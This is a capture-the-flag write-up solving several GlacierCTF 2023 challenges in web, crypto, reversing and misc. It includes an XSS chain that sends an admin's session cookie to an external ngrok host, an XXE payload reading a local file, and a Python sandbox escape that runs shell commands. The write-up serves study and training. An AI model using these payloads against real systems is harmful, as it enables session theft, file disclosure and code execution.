# io @ GlacierCTF 2023 - Writeups
Great CTF, very challenging and enjoyable. In solving order:
## intro / Skilift
- `top.v`:
```
module top(
input [63:0] key,
output lock
);
reg [63:0] tmp1, tmp2, tmp3, tmp4;
// Stage 1
always @(*) begin
tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
end
// Stage 2
always @(*) begin
tmp2 = tmp1 <<< 5;
end
// Stage 3
always @(*) begin
tmp3 = tmp2 ^ "HACKERS!";
end
// Stage 4
always @(*) begin
tmp4 = tmp3 - 12345678;
end
// I have the feeling "lock" should be 1'b1
assign lock = tmp4 == 64'h5443474D489DFDD3;
endmodule
```
Googling the keywords (`module input output reg always endmodule`) suggests the language is Verilog.
The unknown 64-bit input key (int) is bitwise-`and`-ed (`&`) with 0xF0F0F0F0F0F0F0F0, shifted left (`<<`) with 5, bitwise-`xor`-ed with the ASCII bytes "HACKERS!" (encoded as a big endian `int`), 12345678 is subtracted and the result is expected to be 0x5443474D489DFDD3.
Solution: invert the steps:
```python
import struct
hex(((0x5443474D489DFDD3 + 12345678) ^ struct.unpack('>Q', b'HACKERS!')[0]) >> 5)`
# => 0xe0102030604060
```
=> `gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}`
## web / Glacier Exchange
This is a website implementing a "crypto exchange / wallet" which allows converting funds between accounts in various coins + a cash account.
- from `src/wallet.py`:
```py
...
self.balances = {
"cashout": 1000,
"glaciercoin": 0,
"ascoin": 0,
"doge": 0,
"gamestock": 0,
"ycmi": 0,
"smtl": 0
}
...
def transaction(self, source, dest, amount):
if source in self.balances and dest in self.balances:
with self.lock:
if self.balances[source] >= amount:
self.balances[source] -= amount
self.balances[dest] += amount
return 1
return 0
def inGlacierClub(self):
with self.lock:
for balance_name in self.balances:
if balance_name == "cashout":
if self.balances[balance_name] < 1000000000:
return False
else:
if self.balances[balance_name] != 0.0:
return False
return True
```
The objective appears to be to "join the Glacier club" - from `server.py`:
```py
@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
wallet = get_wallet_from_session()
clubToken = False
inClub = wallet.inGlacierClub()
if inClub:
f = open("/flag.txt")
clubToken = f.read()
f.close()
return {
"inClub": inClub,
"clubToken": clubToken
}
```
So the goal is to get at least a balance of `1000000000` in the cash account (`'cashout'`) while keeping exactly `0` in the others.
Solution: the check `if self.balances[source] >= amount` can be bypassed using negative amounts, and the huge granularity of very large floats can then be exploited to subtract a large amount from one without changing its value. Steps:
- move `-1e300` from any non-cash account to another (e.g. `doge` to `gamestock`) - this means having `-1e300` in the `gamestock` account and `1e300` in the `doge` account
- move 1000000000 (or more) from the `doge` account to the `cashout` account - this won't change the amount in the `doge` account because of the large gaps in sequential values which can be represented as floating point numbers (IEEE 756), leaving the original float value unchanged (`1e300`)
- move `-1e300` back from `gamestock` to `doge`
- call `/api/wallet/join_glacier_club`
```bash
# using httpie, first get a session key (generated automatically by several APIs and returned as cookie):
http -v 'https://glacierexchange.web.glacierctf.com/api/wallet/balances'|grep session|cut -d= -f2|cut -d';' -f1 >session
# perform the transfers above via API
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=gamestock balance=-1e300 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=doge targetCoin=cashout balance=1000000000000000000000 Cookie:session=`cat session`
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/transaction' sourceCoin=gamestock targetCoin=doge balance=-1e300 Cookie:session=`cat session`
# check balance to make sure all went well
http 'https://glacierexchange.web.glacierctf.com/api/wallet/balances' Cookie:session=`cat session`
# join the club, get flag
http POST 'https://glacierexchange.web.glacierctf.com/api/wallet/join_glacier_club' Cookie:session=`cat session`
# =>
{
"clubToken": "gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}",
"inClub": true
}
```
## web / Peak
This is a PHP website with an XSS exercise (suggested by the automated "admin" in `admin-simulation\admin.py`, which checks "support" messages every 5s).
The XSS is apparent via `web/pages/contact.php` - the `$message['content']` is not escaped in `web/pages/view_message.php` (like the other fields, which are escaped using `htmlentities()`), but:
- due to `header("Content-Security-policy: script-src 'self'")` in `includes/csp.php` inline scripts won't run
- the uploaded image is checked in `actions/contact.php` to have a valid format via `@getimagesize()` - this will actually validate the image header and return the width / height of the image
- sidenote: I've attempted to build polyglots which JS-comment the image header but the check appears to be explicit so that failed
- `php_flag engine off` in `uploads/.htaccess`, so injected PHP code won't work
Requests are forced to HTTPS by the headless Chrome browser automated for the admin (using _Selenium_), but it accepts self-signed certs (`'--ignore-certificate-errors'`).
`<meta>` refresh works, so it can be used to redirect the admin to an attacker-controlled page by posting this content in the support request body:
```html
<meta http-equiv="refresh" content="3;url=https://1.tcp.eu.ngrok.io:1234/" />
```
In `web/admin/map.php`, some fields of the POSTed `XML` data are injected into a script tag, and CSP is not enabled for this page (presumably because it uses external JS scripts):
```php
...
<script>
var map = L.map('map').setView([0, 0], 12);
...
<?php
...
try
{
$xmlData = "";
if ($_SERVER["REQUEST_METHOD"] === "POST")
{
$xmlData = $_POST["data"];
if(!parseXML($xmlData))
$xmlData = "";
}
...
$xml = parseXML($xmlData);
foreach($xml->marker as $marker)
{
$name = str_replace("\n", "\\n", $marker->name);
echo 'L.marker(["' . $marker->lat . '", "' . $marker->lon.'"]).addTo(map).bindPopup("'. $name. '").openPopup();' . "\n";
echo 'map.setView(["' . $marker->lat . '", "' . $marker->lon.'"], 9);' . "\n";
}
...
?>
</script>
```
The next step is to return an HTML to the victim (as a response to the meta-refresh-based page request above) which auto-submits the `<form>` in `map.php` (using JS) and uses a crafted XML to run JS code and leak the session key (contained in the `PHPSESSID` cookie). We fill in the `<lon>` field in the XML with JS code to end the call we're in the middle of, then create an `<img>` and point it to our server, leaking the cookies:
```html
<!doctype html>
<form method="post" action="https://peak.web.glacierctf.com/admin/map.php">
<input name="data" id="data" value='<markers><marker><lat>1</lat><lon>1"],9);new Image().src="https://1.tcp.eu.ngrok.io:1234/cookie?"+document.cookie;//</lon><name>x</name></marker></markers>' />
<button id="submit" type="submit">Submit</button>
</form>
<script>document.getElementById("submit").click()</script>
```
We then get the `PHPSESSID` cookie, which we inject into our browser:
```
GET /cookie?PHPSESSID=joxAG8Db9UKE9vlO9V4yYg4zd7 HTTP/1.1
```
Again in `map.php`, `LIBXML_NOENT` (which enables the substitution of XML character entity references, which may be external) is passed to `simplexml_load_string()`, so the posted XML should be vulnerable to an XXE attack. Reference: <https://brightsec.com/blog/xxe-vulnerability/>
We POST a crafted XML to that page and get the flag:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<markers>
<marker>
<lat>47.0748663672</lat>
<lon>12.695247219</lon>
<name>&xxe;</name>
</marker>
</markers>
```
=> `gctf{Th3_m0unt4!n_t0p_h4s_th3_b3st_v!3w}`
## crypto / Missing Bits
We are provided with a script which encrypts a buffer using an RSA private key and with that key, but partially overwritten with blanks:
```
xwiBgUBTtaSyUvdrqfgAEduRdnzRbKcwEheMxwIDAQABAoIBAAqaJbojNCwYqykz
n0Fn2sxMsho4PhThPQcX79AGqSxVNxviWK2GXETP7SsnvWGmRXHIRnR6JGOhyHVe
dTDYZxOAOhl85FksVQYVUaygf9Epekja/vSj5OE8NIcAdEBr3aZ6gdLxi+q1a5Kh
1nEmsF6FiYGpsPkN63ovbow/CKt4N7UQJqZEQw380rNA0sOQenmzXRFOpXA8PRFb
G6itGRiP1gB9tpdQnWggQ5n+x8/2k+k3CRW6/xIP9dMAVZh2jVombenLxgnhQCJB
bYaR4I8B0zzYqXqFfeHCMNl+pJmmmFcvs2ZE71fqyjRid6ZDqS4GXtSuRQM0UL7L
UQVBaYECgYEA5BiLN7FjwgOuT4FKxFdzizdq/t5mvRksbmBP/JWk3vxQYeCmMiPQ
xrQUqdHGGxG8iMIwH7dnhNaPa81lrP9fCKyij/caEbe4lmEm+VdM/xZQF+PiCc1f
ziYXphz9wuAc8++kvKxM2EaiDe8F25nsXW+FaxNoXKbJg0zTQLyzKiECgYEA8SLi
hbAwo2l0zal8GMIemzr+APxLw+fmd4aryVAMov8ANkG8KDMwdmvvkn3rL7WaKym5
fakqvXR45/QGPe8niVzx6oaWGSSfijeVan27pG/bzVqyymFHZP9cRhEHW4HN57hO
pXy0kUFqVaxJWCs+thH0LTZoToAepg+sr82FaecCgYEAnJnpQzRsHDEwxO8sqP6t
moBS2mdRPDUDV0iSwgTvrBSpD3oQQM5sMXBD24/lpoIX4gEIz025Ke+xij77trmh
wq/b8GGjqVRsy/opqvjwKRZlqPFRKI+zXjKy+95dryT1W9lFTjAxli9wZYaci/fy
2veNL0Wk2i+8nIPraj/j9mECgYEA0ou6LC7OGTDwKs7sqxV78eBNfoDMis7GPeEZ
x9ocXom3HqjA6HzhuNS/xzIpE2xGo5939c+qoOe81hMNDDDwXZEJLdS75FJE90NX
NDd6iracvi6OZAUSeI47fHZL7UtmhQg5q2c6poXumcWn+NMxm3oLsRqLcteNa0PO
bWZPMksCgYBidblknACvEinDUQB8dvElzROql0ZUMX9hQOsSrg0ju3smun8qujcT
PJQrWctoNw0ZXnQjDkVzaJxog1F3QkKUg6B1Rn2Q0RYuCAeNDn+KqBkTT18Du7yw
+GU/4U6EMw+uL7dNjasD1jjx90ro6RmDDBmGDQuludO0G7h9XQzl+Q==
-----END RSA PRIVATE KEY-----
```
The `-----END RSA PRIVATE KEY-----` marker suggests it is a `PKCS#1`-encoded key, generated by older versions of OpenSSL (more recent versions have `-----END PRIVATE KEY-----`, which is `PKCS#8`). So we grab an older version (`1.0.0j` in my case) and generate keys of several plausible sizes (512, 1024, 2048, 4096) with e.g. `openssl genrsa 512 >key` and diff-compare the produced keys with the one above. The 2048-bit key matches.
Underneath the Base64 is a fixed-structure ASN.1 encoded set of values, among which `N` (_modulus_), `p` (`prime1`), `q` (`prime2`), `e` (`publicExponent`) etc. We can either identify the fixed offsets where the values start (after decoding the Base64 wrapper) based on the information printed by `openssl rsa -text -noout -in key` or we can use the top 6 lines from the valid key generated above and overwrite the blanked part of the given private key. It becomes obvious that the overwritten part only contains `N`, which can easily be recovered (as `P` * `Q`).
To decrypt the text however we only need either the private exponent or P and Q:
```py
import math
P = ...
Q = ...
e = 65537
ciphertext = ...
def int_to_bytes(n):
return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')
N = P * Q
phi = (P - 1) * (Q - 1)
if math.gcd(phi, e) > 1:
raise ValueError('Invalid φ + e!')
D = pow(e, -1, phi)
print(int_to_bytes(pow(ciphertext, D, N)))
```
=>
```
Hey Bob this is Alice.
I want to let you know that the Flag is gctf{7hi5_k3y_can_b3_r3c0ns7ruc7ed}
```
## intro / ARISAI
- `chall.py`:
```py
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import getPrime
PRIME_LENGTH = 24
NUM_PRIMES = 256
FLAG = b"gctf{redacted}"
N = 1
e = 65537
for i in range(NUM_PRIMES):
prime = getPrime(PRIME_LENGTH)
N *= prime
ct = pow(bytes_to_long(FLAG), e, N)
print(f"{N=}")
print(f"{e=}")
print(f"{ct=}")
```
The output of the above code is given as `output.txt`.
The challenge is RSA-based - the modulus `N` is made up of 256 24-bit primes instead of two large ones (`P` / `Q`), which appears to be allowed _in principle_ by the RSA standard (and called a "Multi-prime RSA", or "RSA-MP") but the primes cannot repeat (in this case they do) and there is a much lower limit on their number (around 4 for a 2048 bit key).
Solution:
- factor the large number (trivial), get a list of `factors`
```py
i = int(2 ** 23) # the range is 2**23..2**24-1
while N > 1:
while N % i == 0:
print(i, sep='', end=', ')
sys.stdout.flush()
N //= i
i += 1
print()
```
- `φ` (`phi`, the _totient function_, used for decryption, `(p-1)*(q-1)` for regular RSA), can be computed as the product of `pow(p, count - 1) * (p - 1)` for each `p` in `factors` (`count` being the number of times `p` appears in `factors`)
- the decryption key / exponent (`D`) is computed as `pow(e, -1, phi)`, then the ciphertext can be decrypted
- assuming `factors` from above and the given values of `N`, `e` and `ct` (ciphertext) from `output.txt` (given):
```py
from operator import mul
from functools import reduce
def int_to_bytes(n):
return n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')
N = ...
e = ...
ct = ...
factors = ...
factors_1 = []
for p in set(factors):
cnt = factors.count(p)
factors_1.append(pow(p, cnt - 1) * (p - 1))
phi = reduce(mul, factors_1, 1)
D = pow(e, -1, phi)
print(int_to_bytes(pow(ct, D, N)))
```
=> `gctf{maybe_I_should_have_used_bigger_primes}`
### misc / Avatar
Failed this one, but I have no idea why. The solution worked locally, so here it is.
The challenge double-evals a string received from the attacker - `chall.py`:
```py
print("You get one chance to awaken from the ice prison.")
code = input("input: ").strip()
whitelist = """gctf{"*+*(=>:/)*+*"}""" # not the flag
if any([x not in whitelist for x in code]) or len(code) > 40000:
print("Denied!")
exit(0)
eval(eval(code, {'globals': {}, '__builtins__': {}}, {}), {'globals': {}, '__builtins__': {}}, {})
```
Both `eval()`s have disabled `__builtins__` and `globals()` and the input command is filtered - only the chars `gctf{}"*+()=>:/` are allowed.
To bypass the filter:
- numbers can be obtained by adding `bool`s: `(()==())+(()==())` (i.e. `True+True`) evaluates to `2`
- f-strings can be used to generate characters from those numbers (`f"{...:c}"`) to be then evaluated by the outer `eval()`
- the encoded string looks something like `f"{((((({}=={})+({}=={}))**(({}=={})+...+((({}=={})+({}=={})))+({}=={}):c}"`
To print flag.txt without `globals` and `__builtins__`, we get `__builtins__` (as a dict): `[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__["__import__"]('os').system('cat flag.txt')`. Reference: https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
This string will be passed to the encoder above, a ~22k buffer is produced, which prints `flag.txt` locally:
```sh
$ python3 chall.py <buffer
You get one chance to awaken from the ice prison.
input: cat: flag.txt: No such file or directory
```